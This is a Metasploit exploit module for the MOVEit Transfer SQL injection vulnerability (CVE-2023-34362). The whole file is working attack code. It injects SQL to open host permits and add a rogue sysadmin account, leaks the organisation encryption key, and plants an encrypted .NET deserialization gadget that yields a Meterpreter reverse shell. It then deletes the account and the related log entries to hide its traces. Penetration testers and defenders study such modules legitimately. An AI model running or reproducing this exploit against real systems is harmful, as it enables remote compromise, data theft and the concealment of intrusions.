<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'MOVEit SQL Injection vulnerability',<br /> 'Description' => %q{<br /> This module exploits an SQL injection vulnerability in the MOVEit Transfer web application<br /> that allows an unauthenticated attacker to gain access to MOVEit Transfer’s database.<br /> Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an<br /> attacker can leverage an information leak be able to upload a .NET deserialization payload.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'sfewer-r7', # PoC https://github.com/sfewer-r7/CVE-2023-34362<br /> 'rbowes-r7', # research<br /> 'bwatters-r7' # module<br /> ],<br /> 'References' => [<br /> ['CVE', '2023-34362' ],<br /> ['URL', 'https://github.com/sfewer-r7/CVE-2023-34362'],<br /> ['URL', 'https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis'],<br /> ['URL', 'https://www.wiz.io/blog/cve-2023-34362']<br /> ],<br /> 'Platform' => 'win',<br /> 'Arch' => [ARCH_CMD],<br /> 'Payload' => {<br /> 'Space' => 345<br /> },<br /> 'Targets' => [<br /> [<br /> 'Windows Command',<br /> {<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',<br /> 'RPORT' => 443,<br /> 'SSL' => true<br /> }<br /> }<br /> ],<br /> ],<br /> 'DisclosureDate' => '2023-05-31',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE ],<br /> 'Reliability' => [ REPEATABLE_SESSION ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> Msf::OptString.new('TARGET_URI', [ false, 'Target URI', '/api/v1/token']),<br /> Msf::OptString.new('USERNAME', [ true, 'Username', Rex::Text.rand_text_alphanumeric(5..11)]),<br /> Msf::OptString.new('LOGIN_NAME', [ true, 'Login Name', Rex::Text.rand_text_alphanumeric(5..11)]),<br /> Msf::OptString.new('PASSWORD', [ true, 'Password', Rex::Text.rand_text_alphanumeric(5..11)])<br /> ]<br /> )<br /> @moveit_token = nil<br /> @moveit_instid = nil<br /> @guest_email_addr = "#{Rex::Text.rand_text_alphanumeric(5..12)}@#{Rex::Text.rand_text_alphanumeric(3..6)}.com"<br /> @uploadfile_name = Rex::Text.rand_text_alphanumeric(8..15)<br /> @uploadfile_size = rand(5..64)<br /> @uploadfile_data = Rex::Text.rand_text_alphanumeric(@uploadfile_size)<br /> @user_added = false<br /> @files_json = nil<br /> end<br /><br /> def begin_file_upload(folders_json, token_json)<br /> boundary = rand_text_numeric(27)<br /> post_data = "--#{boundary}\r\n"<br /> post_data << "Content-Disposition: form-data; name=\"name\"\r\n\r\n#{@uploadfile_name}\r\n--#{boundary}\r\n"<br /> post_data << "Content-Disposition: form-data; name=\"size\"\r\n\r\n#{@uploadfile_size}\r\n--#{boundary}\r\n"<br /> post_data << "Content-Disposition: form-data; name=\"comments\"\r\n\r\n\r\n--#{boundary}--\r\n"<br /> res = send_request_raw({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable"),<br /> 'headers' => {<br /> 'Content-Type' => 'multipart/form-data; boundary=' + boundary,<br /> 'Authorization' => "Bearer #{token_json['access_token']}"<br /> },<br /> 'connection' => 'close',<br /> 'accept' => '*/*',<br /> 'data' => post_data.to_s<br /> })<br /><br /> fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #1 (#{files_response.body})") if res.nil? || res.code != 200<br /><br /> files_json = res.get_json_document<br /> vprint_status("Initiated resumable file upload for fileId '#{files_json['fileId']}'...")<br /> files_json<br /> end<br /><br /> def check<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=capa'),<br /> 'connection' => 'close',<br /> 'accept' => '*/*'<br /> })<br /> version = nil<br /> if res && res.code == 200 && res.headers.key?('X-MOVEitISAPI-Version')<br /> version = Rex::Version.new(res.headers['X-MOVEitISAPI-Version'])<br /> # 2020.1.x AKA 12.1.x<br /> return Exploit::CheckCode::Appears if version >= Rex::Version.new('12.1.0') && version < Rex::Version.new('12.1.10')<br /> # 2021.0.x AKA 13.0.x<br /> return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.0.0') && version < Rex::Version.new('13.0.8')<br /> # 2021.1.x AKA 13.1.x<br /> return Exploit::CheckCode::Appears if version >= Rex::Version.new('13.1.0') && version < Rex::Version.new('13.1.6')<br /> # 2022.0.x AKA 14.0.x<br /> return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.0.0') && version < Rex::Version.new('14.0.6')<br /> # 2022.1.x AKA 14.1.x<br /> return Exploit::CheckCode::Appears if version >= Rex::Version.new('14.1.0') && version < Rex::Version.new('14.1.7')<br /> # 2023.0.x AKA 15.0.x<br /> return Exploit::CheckCode::Appears if version >= Rex::Version.new('15.0.0') && version < Rex::Version.new('15.0.3')<br /> else<br /> return Exploit::CheckCode::Safe<br /> end<br /> return Exploit::CheckCode::Unknown<br /> end<br /><br /> def cleanup<br /> cleanup_user(@files_json) if @user_added<br /> super<br /> end<br /><br /> def cleanup_user(files_json)<br /> hax_username = datastore['USERNAME']<br /> hax_loginname = datastore['LOGIN_NAME']<br /> deleteuser_payload = [<br /> "DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload<br /> "DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded<br /> "DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", #<br /> "DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created<br /> "DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username<br /> "DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname<br /> "DELETE FROM moveittransfer.log WHERE Username='Guest:#{@guest_email_addr}'", # The SQLi generates a guest log entry.<br /> ]<br /> if @user_added<br /> vprint_status("Deleting user #{hax_username}")<br /> sqli(sqli_payload(deleteuser_payload))<br /> @user_added = false<br /> end<br /> end<br /><br /> def create_sysadmin<br /> hax_username = datastore['USERNAME']<br /> hax_password = datastore['PASSWORD']<br /> hax_loginname = datastore['LOGIN_NAME']<br /> createuser_payload = [<br /> "UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Host!='*.*.*.*'",<br /> "INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')",<br /> "UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'",<br /> "UPDATE moveittransfer.users SET InstID='#{@moveit_instid}' WHERE Username='#{hax_username}'",<br /> "UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, Rex::Text.rand_text_alphanumeric(4))}' WHERE Username='#{hax_username}'",<br /> "UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'",<br /> "UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'",<br /> ]<br /> res = sqli(sqli_payload(createuser_payload))<br /><br /> fail_with(Msf::Exploit::Failure::Unknown, "Couldn't perform initial SQLi (#{res.body})") if res.code != 200<br /> @user_added = true<br /> end<br /><br /> def encrypt_deserialization_gadget(gadget, org_key)<br /> org_key = org_key.gsub(' ', '')<br /> org_key = [org_key].pack('H*').bytes.pack('C*')<br /> deserialization_gadget = moveitv2encrypt(gadget, org_key)<br /> deserialization_gadget<br /> end<br /><br /> def find_folder_id(token_json)<br /> folders_response = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri('/api/v1/folders'),<br /> 'connection' => 'close',<br /> 'accept' => '*/*',<br /> 'headers' => {<br /> 'Authorization' => "Bearer #{token_json['access_token']}"<br /> }<br /> })<br /> fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API folders (#{folders_response.body})") if folders_response.nil? || folders_response.code != 200<br /> folders_json = JSON.parse(folders_response.body)<br /> vprint_status("Found folderId '#{folders_json['items'][0]['id']}'.")<br /> folders_json<br /> end<br /><br /> def get_csrf_token(res)<br /> fail_with(Msf::Exploit::Failure::Unknown, 'No csrf token, or my code is bad') unless res.to_s.split(/\n/).join =~ /.*csrftoken" value="([a-f0-9]*)"/<br /> ::Regexp.last_match(1)<br /> end<br /><br /> def guestaccess_request(body)<br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'uri' => normalize_uri('guestaccess.aspx'),<br /> 'connection' => 'close',<br /> 'accept' => '*/*',<br /> 'vars_post' => body<br /> })<br /> res<br /> end<br /><br /> # Perform a request to the ISAPI endpoint with an arbitrary transaction<br /> def isapi_request(transaction, headers)<br /> send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri('moveitisapi/moveitisapi.dll?action=m2'),<br /> 'keep_cookies' => true,<br /> 'connection' => 'close',<br /> 'accept' => '*/*',<br /> 'headers' => {<br /> 'X-siLock-Test': 'abcdX-SILOCK-Transaction: folder_add_by_path',<br /> 'X-siLock-Transaction': transaction<br /> }.merge(headers)<br /> })<br /> end<br /><br /> def leak_encryption_key(token_json, files_json)<br /> haxleak_payload = [<br /> # The \ gets escaped, so we leverage CHAR_LENGTH(39) to get the key we want (Standard Networks\siLock\Institutions\0) as all other KeyName's will be longer (Standard Networks\siLock\Institutions\1234)<br /> "UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'"<br /> ]<br /><br /> sqli(sqli_payload(haxleak_payload))<br /><br /> leak_response = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri("/api/v1/files/#{files_json['fileId']}"),<br /> 'connection' => 'close',<br /> 'accept' => '*/*',<br /> 'headers' => {<br /> 'Authorization' => "Bearer #{token_json['access_token']}"<br /> }<br /> })<br /><br /> fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #LEAK (#{leak_response.body})") if leak_response.nil? || leak_response.code != 200<br /> leak_json = JSON.parse(leak_response.body)<br /> org_key = leak_json['uploadAgentBrand']<br /> vprint_status("Leaked the Org Key: #{org_key}")<br /> org_key<br /> end<br /><br /> def makev1password(password, salt = 'AAAA')<br /> fail_with(Msf::Exploit::Failure::BadConfig, 'password cannot be empty') if password.empty?<br /> fail_with(Msf::Exploit::Failure::BadConfig, 'salt must be 4 bytes') if salt.length != 4<br /><br /> # These two hardcoded values are found in MOVEit.DMZ.Core.Cryptography.Providers.SecretProvider.GetSecret<br /> pwpre = Base64.decode64('=VT2jkEH3vAs=')<br /> pwpost = Base64.decode64('=0maaSIA5oy0=')<br /> md5 = Digest::MD5.new<br /> md5.update(pwpre)<br /> md5.update(salt)<br /> md5.update(password)<br /> md5.update(pwpost)<br /><br /> pw = [(4 + 4 + 16), 0, 0, 0].pack('CCCC')<br /> pw << salt<br /> pw << md5.digest<br /><br /> return Base64.strict_encode64(pw).gsub('+', '-')<br /> end<br /><br /> def moveitv2encrypt(data, org_key, iv = nil, tag = '@%!')<br /> fail_with(Msf::Exploit::Failure::BadConfig, 'org_key must be 16 bytyes') if org_key.length != 16<br /><br /> if iv.nil?<br /> iv = Rex::Text.rand_text_alphanumeric(4)<br /> # as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence.<br /> iv *= 4<br /> end<br /><br /> # MOVEit.DMZ.Core.Cryptography.Encryption<br /> key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*')<br /> key += org_key<br /> key += [0, 0, 0, 0].pack('C*')<br /><br /> # MOVEit.Crypto.AesMOVEitCryptoTransform<br /> cipher = OpenSSL::Cipher.new('AES-256-CBC')<br /><br /> cipher.encrypt<br /> cipher.key = key<br /> cipher.iv = iv<br /> encrypted_data = cipher.update(data) + cipher.final<br /> data_sha1_hash = Digest::SHA1.digest(data).unpack('C*')<br /> org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*')<br /><br /> # MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader<br /> header = [<br /> 225, # MOVEitV2EncryptedStringHeader<br /> 0,<br /> data_sha1_hash[0],<br /> data_sha1_hash[1],<br /> org_key_sha1_hash[0],<br /> org_key_sha1_hash[1],<br /> org_key_sha1_hash[2],<br /> org_key_sha1_hash[3],<br /> iv.unpack('C*')[0],<br /> iv.unpack('C*')[1],<br /> iv.unpack('C*')[2],<br /> iv.unpack('C*')[3],<br /> ].pack('C*')<br /><br /> # MOVEit.DMZ.Core.Cryptography.Encryption<br /> return tag + Base64.strict_encode64(header + encrypted_data)<br /> end<br /><br /> def populate_token_instid<br /> begin<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'keep_cookies' => true,<br /> 'connection' => 'keep-alive',<br /> 'accept' => '*/*'<br /> })<br /><br /> cookies = res.get_cookies<br /> # Get the session id from the cookies<br /> fail_with(Msf::Exploit::Failure::Unknown, 'Could not find token from cookies!') unless cookies =~ /ASP.NET_SessionId=([a-z0-9]+);/<br /> @moveit_token = ::Regexp.last_match(1)<br /> vprint_status("Received ASP.NET_SessionId cookie: #{@moveit_token}")<br /><br /> # Get the InstID from the cookies<br /> fail_with(Msf::Exploit::Failure::Unknown, 'Could not find InstID from cookies!') unless cookies =~ /siLockLongTermInstID=([0-9]+);/<br /> @moveit_instid = ::Regexp.last_match(1)<br /> vprint_status("Received siLockLongTermInstID cookie: #{@moveit_instid}")<br /> end<br /> true<br /> end<br /><br /> def request_api_token<br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri('/api/v1/token'),<br /> 'Content-Type' => 'application/x-www-form-urlencoded',<br /> 'connection' => 'keep-alive',<br /> 'accept' => '*/*',<br /> 'vars_post' => {<br /> 'grant_type' => 'password',<br /> 'username' => datastore['LOGIN_NAME'],<br /> 'password' => datastore['PASSWORD']<br /> }<br /> })<br /><br /> fail_with(Msf::Exploit::Failure::Unknown, "Couldn't get API token (#{res.body})") if res.code != 200<br /><br /> token_json = JSON.parse(res.body)<br /> vprint_status("Got API access token='#{token_json['access_token']}'.")<br /> token_json<br /> end<br /><br /> def set_session(session_hash)<br /> session_vars = {}<br /> session_index = 0<br /> session_hash.each_pair do |k, v|<br /> session_vars["X-siLock-SessVar#{session_index}"] = "#{k}: #{v}"<br /> session_index += 1<br /> end<br /> isapi_request('session_setvars', session_vars)<br /> end<br /><br /> def sqli(sql_payload)<br /> # Set up a fake package in the session. The order here is important. We set these session<br /> # variables one per request, so first set the package information, then switch over to a<br /> # 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this<br /> # order the session will be cleared and the injection will not work.<br /> set_session({<br /> 'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06<br /> 'MyPkgID' => '0', # Is self provisioned? (must be 0)<br /> 'MyGuestEmailAddr' => @guest_email_addr, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs<br /> 'MyPkgInstID' => '1234', # this can be any int value<br /> 'MyPkgSelfProvisionedRecips' => sql_payload,<br /> 'MyUsername' => 'Guest'<br /> })<br /><br /> # Get a CSRF token - this has to be *after* you set MyUsername, since the<br /> # username is incorporated into it<br /> #<br /> # Transaction => request type, different types will work<br /> # Arg06 => the package access code (must match what's set above)<br /> # Arg12 => promptaccesscode requests a form, which contains a CSRF code<br /><br /> body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' }<br /> csrf = get_csrf_token(guestaccess_request(body))<br /><br /> # This does the actual injection<br /> body = {<br /> 'Arg06' => 'accesscode',<br /> 'transaction' => 'secmsgpost',<br /> 'Arg01' => 'subject',<br /> 'Arg04' => 'body',<br /> 'Arg05' => 'sendauto',<br /> 'Arg09' => 'pkgtest9',<br /> 'csrftoken' => csrf<br /> }<br /> guestaccess_request(body)<br /> end<br /><br /> def sqli_payload(sql_payload)<br /> # Create the initial injection, and create the session object<br /> payload = [<br /> # The initial injection<br /> "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.com')",<br /> ].concat(sql_payload)<br /><br /> # Join our payload, and terminate with a comment character<br /> return payload.join(';') + ';#'<br /> end<br /><br /> def trigger_deserialization(token_json, files_json, folders_json)<br /> files_response = send_request_cgi({<br /> 'method' => 'PUT',<br /> 'uri' => normalize_uri("/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}"),<br /> 'connection' => 'close',<br /> 'accept' => '*/*',<br /> 'verify' => false,<br /> 'headers' => {<br /> 'Authorization' => "Bearer #{token_json['access_token']}",<br /> 'Content-Type' => 'application/octet-stream',<br /> 'Content-Range' => "bytes 0-#{@uploadfile_size - 1}/#{@uploadfile_size}",<br /> 'X-File-Hash' => Digest::SHA1.hexdigest(@uploadfile_data)<br /> },<br /> 'data' => @uploadfile_data<br /> })<br /><br /> # 500 if payload runs :)<br /> fail_with(Msf::Exploit::Failure::Unknown, "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})") if files_response.code != 500<br /> end<br /><br /> def upload_encrypted_gadget(encrypted_gadget, files_json)<br /> haxupload_payload = [<br /> "UPDATE moveittransfer.fileuploadinfo SET State='#{encrypted_gadget}' WHERE FileID='#{files_json['fileId']}'",<br /> ]<br /> vprint_status('Planting encrypted gadget into the DB...')<br /> sqli(sqli_payload(haxupload_payload))<br /> end<br /><br /> def exploit<br /> # Get the sessionID and siLockLongTermInstID<br /> print_status('[01/11] Get the sessionID and siLockLongTermInstID')<br /> populate_token_instid<br /> # Allow Remote Access and Create new sysAd<br /> print_status('[02/11] Create New Sysadmin')<br /> create_sysadmin<br /> print_status('[03/11] Get API Token')<br /> token_json = request_api_token<br /> print_status('[04/11] Get Folder ID')<br /> folders_json = find_folder_id(token_json)<br /> print_status('[05/11] Begin File Upload')<br /> @files_json = begin_file_upload(folders_json, token_json)<br /> print_status('[06/11] Leak Encryption Key')<br /> org_key = leak_encryption_key(token_json, @files_json)<br /> print_status('[07/11] Generate Gadget')<br /> gadget = ::Msf::Util::DotNetDeserialization.generate(<br /> payload.encoded,<br /> gadget_chain: :TextFormattingRunProperties,<br /> formatter: :BinaryFormatter<br /> )<br /> print_status('[08/11] Encrypt Gadget')<br /> b64_gadget = Rex::Text.encode_base64(gadget)<br /> encrypted_gadget = encrypt_deserialization_gadget(b64_gadget, org_key)<br /> print_status('[09/11] Upload Encrypted Gadget')<br /> upload_encrypted_gadget(encrypted_gadget, @files_json)<br /> print_status('[10/11] Trigger Gadget')<br /> trigger_deserialization(token_json, @files_json, folders_json)<br /> print_status('[11/11] Cleaning Up')<br /> cleanup_user(@files_json)<br /> end<br />end<br /></code></pre>